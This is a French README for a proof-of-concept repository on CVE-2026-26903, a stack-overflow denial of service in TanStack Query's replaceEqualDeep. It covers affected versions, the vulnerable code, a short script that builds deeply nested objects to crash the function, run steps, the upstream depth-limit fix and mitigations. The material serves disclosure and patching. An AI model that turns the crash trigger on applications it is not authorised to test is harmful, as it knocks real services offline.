
A PoC for demonstrating CVE-2026-26903
Déni de service via récursion illimitée dans la fonction replaceEqualDeep de TanStack Query
Une seule mise à jour de requête contenant des objets profondément imbriqués peut geler le thread JavaScript indéfiniment, rendant l'application totalement inutilisable. Aucune authentification ni autorisation spéciale n'est requise.
Cette vulnérabilité a été corrigée dans @tanstack/[email protected] via la PR #10032, publiée le 14 janvier 2026.
| Paquet | Affecté | Corrigé |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | dépend du query-core vulnérable | 5.90.18+ |
| @tanstack/vue-query | dépend du query-core vulnérable | 5.90.18+ |
| @tanstack/solid-query | dépend du query-core vulnérable | 5.90.18+ |
| @tanstack/svelte-query | dépend du query-core vulnérable | 6.1.7+ |
CVE-2026-26903 : Déni de service via récursion illimitée dans replaceEqualDeep (Sévérité : Moyenne)
La fonction
replaceEqualDeepde TanStack Query effectue une comparaison récursive d'objets imbriqués sans limite de profondeur. Lors du traitement de structures de données profondément imbriquées, cela peut déclencher une récursion illimitée conduisant à un débordement de pile et au gel de l'application.— Assigné via MITRE
La fonction replaceEqualDeep de TanStack Query est utilisée en interne pour déterminer si les données de la requête ont réellement changé, optimisant les re-rendus en préservant les références d'objet lorsque c'est possible. La fonction parcourt récursivement les propriétés des objets pour effectuer une comparaison d'égalité profonde.
L'implémentation récursive manque de limite de profondeur ou de détection de cycle :
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep avec des données profondément imbriquéesuseQuery avec des données de réponse imbriquéessetQueryData, invalidateQueries, ou toute opération sur le cache de requêtesCVE-2026-26903-PoC/
├── README.md # Ce fichier
├── LICENSE
├── poc.js # PoC Node.js (crash par débordement de pile)
└── tanstack-query-poc.html # PoC navigateur (démo visuelle interactive)
git clone https://github.com/[votre-nom-utilisateur]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Option A : Démo HTML autonome (aucune dépendance)
git clone https://github.com/[votre-nom-utilisateur]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Option B : Application React (scénario réaliste)
cd examples/react-app-poc
npm install
npm start
# Naviguer vers http://localhost:3000 et suivre les instructions à l'écran
Le PoC génère des objets profondément imbriqués et déclenche replaceEqualDeep pour les traiter :
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Crée : { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10 000 niveaux de profondeur
const newData = generateDeep(10000); // Objet différent, même structure
// Cela provoque une récursion illimitée :
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Niveau 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Niveau 2
├── replaceEqualDeep(...) // Niveau 3
└── ... (continue pendant 10 000 niveaux)
Chaque appel récursif ajoute une nouvelle trame de pile jusqu'à ce que la pile d'appels du moteur JavaScript soit épuisée, gelant ainsi le thread.
Emplacement : @tanstack/query-core/src/utils.ts (approximatif)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE : Pas de limite de profondeur ni de détection de cycle
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
Le correctif (appliqué dans TanStack Query commit 269351b) ajoute une limite de profondeur pour empêcher la récursion illimitée :
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... partie médiane inchangée ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
Modifications clés :
depth avec une valeur par défaut de 0 pour suivre la profondeur de récursionb immédiatement si depth > 500replaceEqualDeep(aItem, bItem, depth + 1)
Ce correctif simple empêche le débordement de pile tout en autorisant un niveau d'imbrication raisonnable (500 niveaux est plus que suffisant pour les structures de données réelles).Implémenter une limitation de profondeur dans replaceEqualDeep :
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Empêche la récursion profonde
if (a === b) return a;
// ... logique existante ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... reste de la fonction
}
Ou utiliser un parcours itératif au lieu de la récursion.
Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. Utilisez-la de manière responsable et uniquement sur des applications que vous possédez ou pour lesquelles vous avez une autorisation explicite de test. Les auteurs ne sont pas responsables de toute utilisation abusive de ces informations.